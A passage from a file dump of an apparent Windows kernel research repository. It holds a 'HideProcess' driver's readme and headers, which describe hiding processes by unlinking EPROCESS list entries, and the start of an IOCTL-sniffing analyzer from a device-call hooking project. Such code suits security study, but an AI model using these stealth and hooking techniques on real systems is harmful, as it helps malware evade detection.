here\r\n//\r\n\r\n\r\n\r\n//\r\n// TODO: Add your struct,enum(public) define here\r\n//\r\n\r\n\r\n\r\n/* EOF */\r\n\r\n" }, { "path": "HideProcess/readme.txt", "content": "HideProcess by Remove ProcessList in EPROCESS struct.\nSupport Windows xp and windows 7 OS, you can add other os's offset of ProcessList in EPROCESS to support more." }, { "path": "HideProcess/sources", "content": "TARGETNAME=HideProcess\r\n#TARGETPATH=$(BASEDIR)\\lib\r\nTARGETPATH=obj\r\nTARGETTYPE=DRIVER\r\n\r\nINCLUDES=.\\\r\n\r\nSOURCES=HideProcess.c\r\n\r\n" }, { "path": "HideProcess/struct.h", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-8-29\r\n* MODULE : struct.h\r\n* \r\n* Command: \r\n* ͷļ\r\n*\r\n* Description:\r\n* һЩ,ظͶ; ڴҪĺ/ṹ\r\n*\r\n****************************************************************************************\r\n\r\nCopyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n#pragma once\r\n\r\n#include \r\n\r\ntypedef long LONG;\r\ntypedef unsigned char BOOL, *PBOOL;\r\ntypedef unsigned char BYTE, *PBYTE;\r\ntypedef unsigned long DWORD, *PDWORD;\r\ntypedef unsigned short WORD, *PWORD;\r\n\r\ntypedef void *HMODULE;\r\ntypedef long NTSTATUS, *PNTSTATUS;\r\ntypedef unsigned long DWORD;\r\ntypedef DWORD * PDWORD;\r\ntypedef unsigned long ULONG;\r\ntypedef unsigned long ULONG_PTR;\r\ntypedef ULONG *PULONG;\r\ntypedef unsigned short WORD;\r\ntypedef unsigned char BYTE; \r\ntypedef unsigned char UCHAR;\r\ntypedef unsigned short USHORT;\r\ntypedef void *PVOID;\r\ntypedef BYTE BOOLEAN;\r\n#define SEC_IMAGE 0x01000000\r\n\r\n//----------------------------------------------------\r\n\r\n// PEB\r\n \r\n#pragma pack(4)\r\ntypedef struct _PEB_LDR_DATA\r\n{\r\n\tULONG Length;\r\n\tBOOLEAN Initialized;\r\n\tPVOID SsHandle;\r\n\tLIST_ENTRY InLoadOrderModuleList;\r\n\tLIST_ENTRY InMemoryOrderModuleList;\r\n\tLIST_ENTRY InInitializationOrderModuleList;\r\n} PEB_LDR_DATA, *PPEB_LDR_DATA;\r\n#pragma pack() \r\n\r\ntypedef struct _PEB_ORIG {\r\n BYTE Reserved1[2];\r\n BYTE BeingDebugged;\r\n BYTE Reserved2[229];\r\n PVOID Reserved3[59];\r\n ULONG SessionId;\r\n} PEB_ORIG, *PPEB_ORIG;\r\n\r\ntypedef void (*PPEBLOCKROUTINE)(PVOID PebLock);\r\n\r\nstruct _PEB_FREE_BLOCK {\r\n\tstruct _PEB_FREE_BLOCK *Next;\r\n\tULONG Size;\r\n};\r\ntypedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;\r\ntypedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR {\r\n\tUSHORT Flags;\r\n\tUSHORT Length;\r\n\tULONG TimeStamp;\r\n\tUNICODE_STRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS {\r\n\tULONG MaximumLength;\r\n\tULONG Length;\r\n\tULONG Flags;\r\n\tULONG DebugFlags;\r\n\tPVOID ConsoleHandle;\r\n\tULONG ConsoleFlags;\r\n\tHANDLE StdInputHandle;\r\n\tHANDLE StdOutputHandle;\r\n\tHANDLE StdErrorHandle;\r\n\tUNICODE_STRING CurrentDirectoryPath;\r\n\tHANDLE CurrentDirectoryHandle;\r\n\tUNICODE_STRING DllPath;\r\n\tUNICODE_STRING ImagePathName;\r\n\tUNICODE_STRING CommandLine;\r\n\tPVOID Environment;\r\n\tULONG StartingPositionLeft;\r\n\tULONG StartingPositionTop;\r\n\tULONG Width;\r\n\tULONG Height;\r\n\tULONG CharWidth;\r\n\tULONG CharHeight;\r\n\tULONG ConsoleTextAttributes;\r\n\tULONG WindowFlags;\r\n\tULONG ShowWindowFlags;\r\n\tUNICODE_STRING WindowTitle;\r\n\tUNICODE_STRING DesktopName;\r\n\tUNICODE_STRING ShellInfo;\r\n\tUNICODE_STRING RuntimeData;\r\n\tRTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\ntypedef struct _PEB {\r\n\tBOOLEAN InheritedAddressSpace;\r\n\tBOOLEAN ReadImageFileExecOptions;\r\n\tBOOLEAN BeingDebugged;\r\n\tBOOLEAN Spare;\r\n\tHANDLE Mutant;\r\n\tPVOID ImageBaseAddress;\r\n\tPPEB_LDR_DATA LoaderData;\r\n\tPRTL_USER_PROCESS_PARAMETERS ProcessParameters;\r\n\tPVOID SubSystemData;\r\n\tPVOID ProcessHeap;\r\n\tPVOID FastPebLock;\r\n\tPPEBLOCKROUTINE FastPebLockRoutine;\r\n\tPPEBLOCKROUTINE FastPebUnlockRoutine;\r\n\tULONG EnvironmentUpdateCount;\r\n\tPVOID *KernelCallbackTable;\r\n\tPVOID EventLogSection;\r\n\tPVOID EventLog;\r\n\tPPEB_FREE_BLOCK FreeList;\r\n\tULONG TlsExpansionCounter;\r\n\tPVOID TlsBitmap;\r\n\tULONG TlsBitmapBits[0x2];\r\n\tPVOID ReadOnlySharedMemoryBase;\r\n\tPVOID ReadOnlySharedMemoryHeap;\r\n\tPVOID *ReadOnlyStaticServerData;\r\n\tPVOID AnsiCodePageData;\r\n\tPVOID OemCodePageData;\r\n\tPVOID UnicodeCaseTableData;\r\n\tULONG NumberOfProcessors;\r\n\tULONG NtGlobalFlag;\r\n\tBYTE Spare2[0x4];\r\n\tLARGE_INTEGER CriticalSectionTimeout;\r\n\tULONG HeapSegmentReserve;\r\n\tULONG HeapSegmentCommit;\r\n\tULONG HeapDeCommitTotalFreeThreshold;\r\n\tULONG HeapDeCommitFreeBlockThreshold;\r\n\tULONG NumberOfHeaps;\r\n\tULONG MaximumNumberOfHeaps;\r\n\tPVOID **ProcessHeaps;\r\n\tPVOID GdiSharedHandleTable;\r\n\tPVOID ProcessStarterHelper;\r\n\tPVOID GdiDCAttributeList;\r\n\tPVOID LoaderLock;\r\n\tULONG OSMajorVersion;\r\n\tULONG OSMinorVersion;\r\n\tULONG OSBuildNumber;\r\n\tULONG OSPlatformId;\r\n\tULONG ImageSubSystem;\r\n\tULONG ImageSubSystemMajorVersion;\r\n\tULONG ImageSubSystemMinorVersion;\r\n\tULONG GdiHandleBuffer[0x22];\r\n\tULONG PostProcessInitRoutine;\r\n\tULONG TlsExpansionBitmap;\r\n\tBYTE TlsExpansionBitmapBits[0x80];\r\n\tULONG SessionId;\r\n} PEB, *PPEB;\r\n\r\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\r\n ULONG NextEntryOffset;\r\n ULONG NumberOfThreads;\r\n LARGE_INTEGER SpareLi1;\r\n LARGE_INTEGER SpareLi2;\r\n LARGE_INTEGER SpareLi3;\r\n LARGE_INTEGER CreateTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER KernelTime;\r\n UNICODE_STRING ImageName;\r\n KPRIORITY BasePriority;\r\n HANDLE UniqueProcessId;\r\n HANDLE InheritedFromUniqueProcessId;\r\n ULONG HandleCount;\r\n ULONG SpareUl2;\r\n ULONG SpareUl3;\r\n ULONG PeakVirtualSize;\r\n ULONG VirtualSize;\r\n ULONG PageFaultCount;\r\n ULONG PeakWorkingSetSize;\r\n ULONG WorkingSetSize;\r\n ULONG QuotaPeakPagedPoolUsage;\r\n ULONG QuotaPagedPoolUsage;\r\n ULONG QuotaPeakNonPagedPoolUsage;\r\n ULONG QuotaNonPagedPoolUsage;\r\n ULONG PagefileUsage;\r\n ULONG PeakPagefileUsage;\r\n ULONG PrivatePageCount;\r\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\r\n\r\ntypedef struct _SYSTEM_THREAD_INFORMATION {\r\n LARGE_INTEGER KernelTime;\r\n LARGE_INTEGER UserTime;\r\n LARGE_INTEGER CreateTime;\r\n ULONG WaitTime;\r\n PVOID StartAddress;\r\n CLIENT_ID ClientId;\r\n KPRIORITY Priority;\r\n LONG BasePriority;\r\n ULONG ContextSwitches;\r\n ULONG ThreadState;\r\n ULONG WaitReason;\r\n} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;\r\n\r\nstruct _SYSTEM_THREADS\r\n{\r\n\tLARGE_INTEGER\t\tKernelTime;\r\n\tLARGE_INTEGER\t\tUserTime;\r\n\tLARGE_INTEGER\t\tCreateTime;\r\n\tULONG\t\t\t\tWaitTime;\r\n\tPVOID\t\t\t\tStartAddress;\r\n\tCLIENT_ID\t\t\tClientIs;\r\n\tKPRIORITY\t\t\tPriority;\r\n\tKPRIORITY\t\t\tBasePriority;\r\n\tULONG\t\t\t\tContextSwitchCount;\r\n\tULONG\t\t\t\tThreadState;\r\n\tKWAIT_REASON\t\tWaitReason;\r\n};\r\n\r\nstruct _SYSTEM_PROCESSES\r\n{\r\n\tULONG\t\t\t\tNextEntryDelta;\r\n\tULONG\t\t\t\tThreadCount;\r\n\tULONG\t\t\t\tReserved[6];\r\n\tLARGE_INTEGER\t\tCreateTime;\r\n\tLARGE_INTEGER\t\tUserTime;\r\n\tLARGE_INTEGER\t\tKernelTime;\r\n\tUNICODE_STRING\t\tProcessName;\r\n\tKPRIORITY\t\t\tBasePriority;\r\n\tULONG\t\t\t\tProcessId;\r\n\tULONG\t\t\t\tInheritedFromProcessId;\r\n\tULONG\t\t\t\tHandleCount;\r\n\tULONG\t\t\t\tReserved2[2];\r\n\tVM_COUNTERS\t\t\tVmCounters;\r\n\tIO_COUNTERS\t\t\tIoCounters; //windows 2000 only\r\n\tstruct _SYSTEM_THREADS\tThreads[1];\r\n};\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY_INFO\r\n{\r\n ULONG AuditMask;\r\n} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;\r\n\r\ntypedef struct _HANDLE_TABLE_ENTRY\r\n{\r\n union\r\n {\r\n PVOID Object;\r\n ULONG_PTR ObAttributes;\r\n PHANDLE_TABLE_ENTRY_INFO InfoTable;\r\n ULONG_PTR Value;\r\n };\r\n union\r\n {\r\n ULONG GrantedAccess;\r\n struct\r\n {\r\n USHORT GrantedAccessIndex;\r\n USHORT CreatorBackTraceIndex;\r\n };\r\n LONG NextFreeTableEntry;\r\n };\r\n} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;\r\n\r\ntypedef struct _HANDLE_TABLE\r\n{\r\n ULONG TableCode;\r\n PEPROCESS QuotaProcess;\r\n PVOID UniqueProcessId;\r\n ULONG HandleTableLock[4];\r\n LIST_ENTRY HandleTableList;\r\n ULONG HandleContentionEvent;\r\n PVOID DebugInfo;\r\n LONG ExtraInfoPages;\r\n ULONG FirstFree;\r\n ULONG LastFree;\r\n ULONG NextHandleNeedingPool;\r\n LONG HandleCount;\r\n union\r\n {\r\n ULONG Flags;\r\n UCHAR StrictFIFO:1;\r\n };\r\n} HANDLE_TABLE, *PHANDLE_TABLE;\r\n\r\ntypedef struct _OBJECT_TYPE_INITIALIZER {\r\n\tUSHORT Length;\r\n\tBOOLEAN UseDefaultObject;\r\n\tBOOLEAN CaseInsensitive;\r\n\tULONG InvalidAttributes;\r\n\tGENERIC_MAPPING GenericMapping;\r\n\tULONG ValidAccessMask;\r\n\tBOOLEAN SecurityRequired;\r\n\tBOOLEAN MaintainHandleCount;\r\n\tBOOLEAN MaintainTypeList;\r\n\tPOOL_TYPE PoolType;\r\n\tULONG DefaultPagedPoolCharge;\r\n\tULONG DefaultNonPagedPoolCharge;\r\n\tPVOID DumpProcedure;\r\n\tPVOID OpenProcedure;\r\n\tPVOID CloseProcedure;\r\n\tPVOID DeleteProcedure;\r\n\tPVOID ParseProcedure;\r\n\tPVOID SecurityProcedure;\r\n\tPVOID QueryNameProcedure;\r\n\tPVOID OkayToCloseProcedure;\r\n} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;\r\n\r\n\r\ntypedef struct _OBJECT_TYPE {\r\n\tERESOURCE Mutex;\r\n\tLIST_ENTRY TypeList;\r\n\tUNICODE_STRING Name; // Copy from object header for convenience\r\n\tPVOID DefaultObject;\r\n\tULONG Index;\r\n\tULONG TotalNumberOfObjects;\r\n\tULONG TotalNumberOfHandles;\r\n\tULONG HighWaterNumberOfObjects;\r\n\tULONG HighWaterNumberOfHandles;\r\n\tOBJECT_TYPE_INITIALIZER TypeInfo;\r\n\tULONG Key;\r\n\tERESOURCE ObjectLocks[4];\r\n} OBJECT_TYPE, *POBJECT_TYPE;\r\n\r\ntypedef struct _OBJECT_DIRECTORY {\r\n struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];\r\n ULONG Lock;\r\n PVOID DeviceMap;\r\n ULONG SessionId;\r\n\tUSHORT Reserved;\r\n\tUSHORT SymbolicLinkUsageCount;\r\n} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;\r\n\r\n/*\r\ntypedef enum _KAPC_ENVIRONMENT {\r\n OriginalApcEnvironment,\r\n AttachedApcEnvironment,\r\n CurrentApcEnvironment,\r\n InsertApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n*/\r\n\r\ntypedef enum\r\n{\r\n OriginalApcEnvironment,\r\n\tAttachedApcEnvironment,\r\n\tCurrentApcEnvironment\r\n} KAPC_ENVIRONMENT;\r\n\r\n//----------------------------------------------------\r\n\r\nNTSYSAPI\r\nNTSTATUS\r\nNTAPI ZwQuerySystemInformation(\r\n\t\t\t\t\t\t\t IN ULONG SystemInformationClass,\r\n\t\t\t\t\t\t\t IN PVOID SystemInformation,\r\n\t\t\t\t\t\t\t IN ULONG SystemInformationLength,\r\n\t\t\t\t\t\t\t OUT PULONG ReturnLength);\r\n\r\n\r\n\r\nNTSTATUS\r\n NtOpenFile(\r\n OUT PHANDLE FileHandle,\r\n IN ACCESS_MASK DesiredAccess,\r\n IN POBJECT_ATTRIBUTES ObjectAttributes,\r\n OUT PIO_STATUS_BLOCK IoStatusBlock,\r\n IN ULONG ShareAccess,\r\n IN ULONG OpenOptions\r\n );\r\n\r\nNTSTATUS \r\nZwOpenProcess(\r\n OUT PHANDLE ProcessHandle, \r\n IN ACCESS_MASK DesiredAccess, \r\n IN POBJECT_ATTRIBUTES ObjectAttributes, \r\n IN PCLIENT_ID ClientId\r\n );\r\n\r\nNTSTATUS\r\nPsLookupProcessByProcessId(\r\n IN HANDLE ProcessId,\r\n OUT PEPROCESS *Process\r\n );\r\n\r\nHANDLE\r\n PsGetProcessId(\r\n IN PEPROCESS Process\r\n );\r\n\r\nNTSTATUS\r\nRtlFormatCurrentUserKeyPath(\r\n OUT PUNICODE_STRING CurrentUserKeyPath\r\n );\r\n\r\nVOID KeAttachProcess( PEPROCESS proc );\r\nVOID KeDetachProcess();\r\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile.vcproj", "content": "\n\n\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/TlHelp32.h", "content": "/*****************************************************************************\\\n* *\n* tlhelp32.h - WIN32 tool help functions, types, and definitions *\n* *\n* Version 1.0 *\n* *\n* NOTE: windows.h/winbase.h must be #included first *\n* *\n* Copyright (c) Microsoft Corp. All rights reserved. *\n* *\n\\*****************************************************************************/\n\n#ifndef _INC_TOOLHELP32\n#define _INC_TOOLHELP32\n\n#if _MSC_VER > 1000\n#pragma once\n#endif\n\n#ifdef __cplusplus\nextern \"C\" { /* Assume C declarations for C++ */\n#endif /* __cplusplus */\n\n#define MAX_MODULE_NAME32 255\n\n/****** Shapshot function **********************************************/\n\nHANDLE\nWINAPI\nCreateToolhelp32Snapshot(\n DWORD dwFlags,\n DWORD th32ProcessID\n );\n\n//\n// The th32ProcessID argument is only used if TH32CS_SNAPHEAPLIST or\n// TH32CS_SNAPMODULE is specified. th32ProcessID == 0 means the current\n// process.\n//\n// NOTE that all of the snapshots are global except for the heap and module\n// lists which are process specific. To enumerate the heap or module\n// state for all WIN32 processes call with TH32CS_SNAPALL and the\n// current process. Then for each process in the TH32CS_SNAPPROCESS\n// list that isn't the current process, do a call with just\n// TH32CS_SNAPHEAPLIST and/or TH32CS_SNAPMODULE.\n//\n// dwFlags\n//\n#define TH32CS_SNAPHEAPLIST 0x00000001\n#define TH32CS_SNAPPROCESS 0x00000002\n#define TH32CS_SNAPTHREAD 0x00000004\n#define TH32CS_SNAPMODULE 0x00000008\n#define TH32CS_SNAPMODULE32 0x00000010\n#define TH32CS_SNAPALL (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE)\n#define TH32CS_INHERIT 0x80000000\n//\n// Use CloseHandle to destroy the snapshot\n//\n\n/****** heap walking ***************************************************/\n\ntypedef struct tagHEAPLIST32\n{\n SIZE_T dwSize;\n DWORD th32ProcessID; // owning process\n ULONG_PTR th32HeapID; // heap (in owning process's context!)\n DWORD dwFlags;\n} HEAPLIST32;\ntypedef HEAPLIST32 * PHEAPLIST32;\ntypedef HEAPLIST32 * LPHEAPLIST32;\n//\n// dwFlags\n//\n#define HF32_DEFAULT 1 // process's default heap\n#define HF32_SHARED 2 // is shared heap\n\nBOOL\nWINAPI\nHeap32ListFirst(\n HANDLE hSnapshot,\n LPHEAPLIST32 lphl\n );\n\nBOOL\nWINAPI\nHeap32ListNext(\n HANDLE hSnapshot,\n LPHEAPLIST32 lphl\n );\n\ntypedef struct tagHEAPENTRY32\n{\n SIZE_T dwSize;\n HANDLE hHandle; // Handle of this heap block\n ULONG_PTR dwAddress; // Linear address of start of block\n SIZE_T dwBlockSize; // Size of block in bytes\n DWORD dwFlags;\n DWORD dwLockCount;\n DWORD dwResvd;\n DWORD th32ProcessID; // owning process\n ULONG_PTR th32HeapID; // heap block is in\n} HEAPENTRY32;\ntypedef HEAPENTRY32 * PHEAPENTRY32;\ntypedef HEAPENTRY32 * LPHEAPENTRY32;\n//\n// dwFlags\n//\n#define LF32_FIXED 0x00000001\n#define LF32_FREE 0x00000002\n#define LF32_MOVEABLE 0x00000004\n\nBOOL\nWINAPI\nHeap32First(\n LPHEAPENTRY32 lphe,\n DWORD th32ProcessID,\n ULONG_PTR th32HeapID\n );\n\nBOOL\nWINAPI\nHeap32Next(\n LPHEAPENTRY32 lphe\n );\n\nBOOL\nWINAPI\nToolhelp32ReadProcessMemory(\n DWORD th32ProcessID,\n LPCVOID lpBaseAddress,\n LPVOID lpBuffer,\n SIZE_T cbRead,\n SIZE_T *lpNumberOfBytesRead\n );\n\n/***** Process walking *************************************************/\n\ntypedef struct tagPROCESSENTRY32W\n{\n DWORD dwSize;\n DWORD cntUsage;\n DWORD th32ProcessID; // this process\n ULONG_PTR th32DefaultHeapID;\n DWORD th32ModuleID; // associated exe\n DWORD cntThreads;\n DWORD th32ParentProcessID; // this process's parent process\n LONG pcPriClassBase; // Base priority of process's threads\n DWORD dwFlags;\n WCHAR szExeFile[MAX_PATH]; // Path\n} PROCESSENTRY32W;\ntypedef PROCESSENTRY32W * PPROCESSENTRY32W;\ntypedef PROCESSENTRY32W * LPPROCESSENTRY32W;\n\nBOOL\nWINAPI\nProcess32FirstW(\n HANDLE hSnapshot,\n LPPROCESSENTRY32W lppe\n );\n\nBOOL\nWINAPI\nProcess32NextW(\n HANDLE hSnapshot,\n LPPROCESSENTRY32W lppe\n );\n\ntypedef struct tagPROCESSENTRY32\n{\n DWORD dwSize;\n DWORD cntUsage;\n DWORD th32ProcessID; // this process\n ULONG_PTR th32DefaultHeapID;\n DWORD th32ModuleID; // associated exe\n DWORD cntThreads;\n DWORD th32ParentProcessID; // this process's parent process\n LONG pcPriClassBase; // Base priority of process's threads\n DWORD dwFlags;\n CHAR szExeFile[MAX_PATH]; // Path\n} PROCESSENTRY32;\ntypedef PROCESSENTRY32 * PPROCESSENTRY32;\ntypedef PROCESSENTRY32 * LPPROCESSENTRY32;\n\nBOOL\nWINAPI\nProcess32First(\n HANDLE hSnapshot,\n LPPROCESSENTRY32 lppe\n );\n\nBOOL\nWINAPI\nProcess32Next(\n HANDLE hSnapshot,\n LPPROCESSENTRY32 lppe\n );\n\n#ifdef UNICODE\n#define Process32First Process32FirstW\n#define Process32Next Process32NextW\n#define PROCESSENTRY32 PROCESSENTRY32W\n#define PPROCESSENTRY32 PPROCESSENTRY32W\n#define LPPROCESSENTRY32 LPPROCESSENTRY32W\n#endif // !UNICODE\n\n/***** Thread walking **************************************************/\n\ntypedef struct tagTHREADENTRY32\n{\n DWORD dwSize;\n DWORD cntUsage;\n DWORD th32ThreadID; // this thread\n DWORD th32OwnerProcessID; // Process this thread is associated with\n LONG tpBasePri;\n LONG tpDeltaPri;\n DWORD dwFlags;\n} THREADENTRY32;\ntypedef THREADENTRY32 * PTHREADENTRY32;\ntypedef THREADENTRY32 * LPTHREADENTRY32;\n\nBOOL\nWINAPI\nThread32First(\n HANDLE hSnapshot,\n LPTHREADENTRY32 lpte\n );\n\nBOOL\nWINAPI\nThread32Next(\n HANDLE hSnapshot,\n LPTHREADENTRY32 lpte\n );\n\n/***** Module walking *************************************************/\n\ntypedef struct tagMODULEENTRY32W\n{\n DWORD dwSize;\n DWORD th32ModuleID; // This module\n DWORD th32ProcessID; // owning process\n DWORD GlblcntUsage; // Global usage count on the module\n DWORD ProccntUsage; // Module usage count in th32ProcessID's context\n BYTE * modBaseAddr; // Base address of module in th32ProcessID's context\n DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr\n HMODULE hModule; // The hModule of this module in th32ProcessID's context\n WCHAR szModule[MAX_MODULE_NAME32 + 1];\n WCHAR szExePath[MAX_PATH];\n} MODULEENTRY32W;\ntypedef MODULEENTRY32W * PMODULEENTRY32W;\ntypedef MODULEENTRY32W * LPMODULEENTRY32W;\n\nBOOL\nWINAPI\nModule32FirstW(\n HANDLE hSnapshot,\n LPMODULEENTRY32W lpme\n );\n\nBOOL\nWINAPI\nModule32NextW(\n HANDLE hSnapshot,\n LPMODULEENTRY32W lpme\n );\n\n\ntypedef struct tagMODULEENTRY32\n{\n DWORD dwSize;\n DWORD th32ModuleID; // This module\n DWORD th32ProcessID; // owning process\n DWORD GlblcntUsage; // Global usage count on the module\n DWORD ProccntUsage; // Module usage count in th32ProcessID's context\n BYTE * modBaseAddr; // Base address of module in th32ProcessID's context\n DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr\n HMODULE hModule; // The hModule of this module in th32ProcessID's context\n char szModule[MAX_MODULE_NAME32 + 1];\n char szExePath[MAX_PATH];\n} MODULEENTRY32;\ntypedef MODULEENTRY32 * PMODULEENTRY32;\ntypedef MODULEENTRY32 * LPMODULEENTRY32;\n\n//\n// NOTE CAREFULLY that the modBaseAddr and hModule fields are valid ONLY\n// in th32ProcessID's process context.\n//\n\nBOOL\nWINAPI\nModule32First(\n HANDLE hSnapshot,\n LPMODULEENTRY32 lpme\n );\n\nBOOL\nWINAPI\nModule32Next(\n HANDLE hSnapshot,\n LPMODULEENTRY32 lpme\n );\n\n#ifdef UNICODE\n#define Module32First Module32FirstW\n#define Module32Next Module32NextW\n#define MODULEENTRY32 MODULEENTRY32W\n#define PMODULEENTRY32 PMODULEENTRY32W\n#define LPMODULEENTRY32 LPMODULEENTRY32W\n#endif // !UNICODE\n\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // _INC_TOOLHELP32\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/analyzer.cpp", "content": "#include \"stdafx.h\"\n\ntypedef struct _DRVINFO\n{\n PVOID Object;\n\n std::string ObjectName;\n std::string FilePath;\n\n std::string Descr;\n std::string Company;\n\n} DRVINFO,\n*PDRVINFO;\n\ntypedef enum _DEVINFO_ACCESS\n{\n DevAccessOpenError = 0,\n DevAccessEveryone,\n DevAccessAuthenticated,\n DevAccessRestricted\n\n} DEVINFO_ACCESS;\n\ntypedef struct _DEVINFO\n{\n PVOID Object;\n std::string ObjectName;\n DEVINFO_ACCESS Access;\n\n} DEVINFO,\n*PDEVINFO;\n\ntypedef struct _PROCESSINFO\n{\n DWORD ProcessId;\n std::string ProcessName; \n\n} PROCESSINFO,\n*PPROCESSINFO;\n\n#define DEVINFO_LIST std::map\n#define DRVINFO_ENTRY std::pair\n#define DRVINFO_LIST std::map\n#define CALL_STATS_LIST std::map\n#define OPENED_LIST std::map>\n\nDRVINFO_LIST m_DriversInfo;\n\n// total number of sniffed IOCTLs for each device and driver\nCALL_STATS_LIST m_DeviceCallsCount;\nCALL_STATS_LIST m_DriverCallsCount;\n\n// information about opened devices\nOPENED_LIST m_OpenedInfo;\n//--------------------------------------------------------------------------------------\nDWORD GetObjectTypeIndex(HANDLE hObject)\n{\n DWORD Ret = 0;\n\n // get list of all handles in system\n PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation);\n if (Info)\n { \n // find our handle in list\n for (ULONG i = 0; i < Info->NumberOfHandles; i++)\n {\n if (Info->Handles[i].UniqueProcessId == (USHORT)GetCurrentProcessId() &&\n Info->Handles[i].HandleValue == (USHORT)hObject)\n {\n // return value of object type index\n Ret = Info->Handles[i].ObjectTypeIndex;\n break;\n }\n }\n\n M_FREE(Info);\n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nDWORD GetFileObjectTypeIndex(void)\n{\n DWORD Ret = 0;\n char szSelf[MAX_PATH];\n GetModuleFileNameA(GetModuleHandle(NULL), szSelf, MAX_PATH);\n\n HANDLE hFile = CreateFileA(\n szSelf, \n GENERIC_READ,\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n NULL,\n OPEN_EXISTING,\n 0, NULL\n );\n if (hFile == INVALID_HANDLE_VALUE)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): CreateFile() ERROR %d\\n\", GetLastError());\n return 0;\n }\n\n Ret = GetObjectTypeIndex(hFile);\n\n CloseHandle(hFile);\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nDWORD CollectFileHandles(void)\n{\n DWORD dwRet = 0;\n DWORD dwTypeIndex = GetFileObjectTypeIndex();\n if (dwTypeIndex == 0)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't query file object type index\\n\");\n return 0;\n }\n\n // remove old entries\n m_OpenedInfo.clear();\n\n // get list of all handles in system\n PSYSTEM_HANDLE_INFORMATION Info = (PSYSTEM_HANDLE_INFORMATION)GetSysInf(SystemHandleInformation);\n if (Info)\n { \n // find all processes handles\n for (ULONG i = 0; i < Info->NumberOfHandles; i++)\n {\n char szProcessName[MAX_PATH];\n DWORD dwProcessId = (DWORD)Info->Handles[i].UniqueProcessId;\n\n if (Info->Handles[i].ObjectTypeIndex == (USHORT)dwTypeIndex &&\n GetProcessNameById(dwProcessId, szProcessName, MAX_PATH))\n {\n HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);\n if (hProcess)\n {\n // duplicate single handle\n HANDLE hTarget = NULL;\n if (DuplicateHandle(\n hProcess,\n (HANDLE)Info->Handles[i].HandleValue,\n 